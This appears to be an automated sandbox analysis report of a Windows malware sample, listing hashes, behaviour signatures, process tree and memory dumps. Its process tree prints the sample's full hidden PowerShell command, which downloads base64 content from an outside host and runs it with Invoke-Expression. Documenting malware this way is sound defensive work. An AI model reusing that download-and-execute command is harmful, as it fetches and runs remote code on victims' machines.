Analysis

  • max time kernel
    51s
  • max time network
    54s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/03/2025, 20:08

General

  • Target

    void/257ffa778469d570082f7cfff1ad199a9bffffc278e9c012bea17d02393b95b4.exe

  • Size

    214KB

  • MD5

    561535d4ea4f26088f5bb93c0261be4b

  • SHA1

    5e5b7ff4650caaf0dd556e2e62154c60986a2681

  • SHA256

    257ffa778469d570082f7cfff1ad199a9bffffc278e9c012bea17d02393b95b4

  • SHA512

    772edd0ae2427b8b87c9244ce43d70a24df19b1f3173cda91735bee41e1470d6b31728989bcdbfaaea03cbbd34d4803e3135dad074a11255e1021efa18485ed9

  • SSDEEP

    3072:xPiUbLW99ZIGfsic0GC0dOiN2OPeyZU+gcdtA74Lw4bit2t81lenOsv6fn3:xPiUbLW9lsZ0GC0dOUe/0Lw4tKhy6f3

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\void\257ffa778469d570082f7cfff1ad199a9bffffc278e9c012bea17d02393b95b4.exe
    "C:\Users\Admin\AppData\Local\Temp\void\257ffa778469d570082f7cfff1ad199a9bffffc278e9c012bea17d02393b95b4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -WindowStyle Hidden -NoP -NonI -ExecutionPolicy Bypass -Command " $mode='getxi.'; $userAgent='gift-3.2'; $wallet='store'; $trading='/developer'; $AI='https://'; $developer=$AI+$mode+$wallet+$trading; $Response=Invoke-WebRequest -Uri $developer -UseBasicParsing -UserAgent $userAgent; $Content=$Response.Content; $t=$Content -replace '<[^>]*>', ''; $s=[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($t)); Invoke-Expression $s "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hoejbme1.2j1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2860-0-0x00007FFFD9C03000-0x00007FFFD9C05000-memory.dmp

    Filesize

    8KB

  • memory/2860-1-0x0000022C6CE20000-0x0000022C6CE42000-memory.dmp

    Filesize

    136KB

  • memory/2860-11-0x00007FFFD9C00000-0x00007FFFDA6C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2860-12-0x00007FFFD9C00000-0x00007FFFDA6C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2860-13-0x00007FFFD9C00000-0x00007FFFDA6C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2860-14-0x00007FFFD9C00000-0x00007FFFDA6C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2860-17-0x00007FFFD9C00000-0x00007FFFDA6C1000-memory.dmp

    Filesize

    10.8MB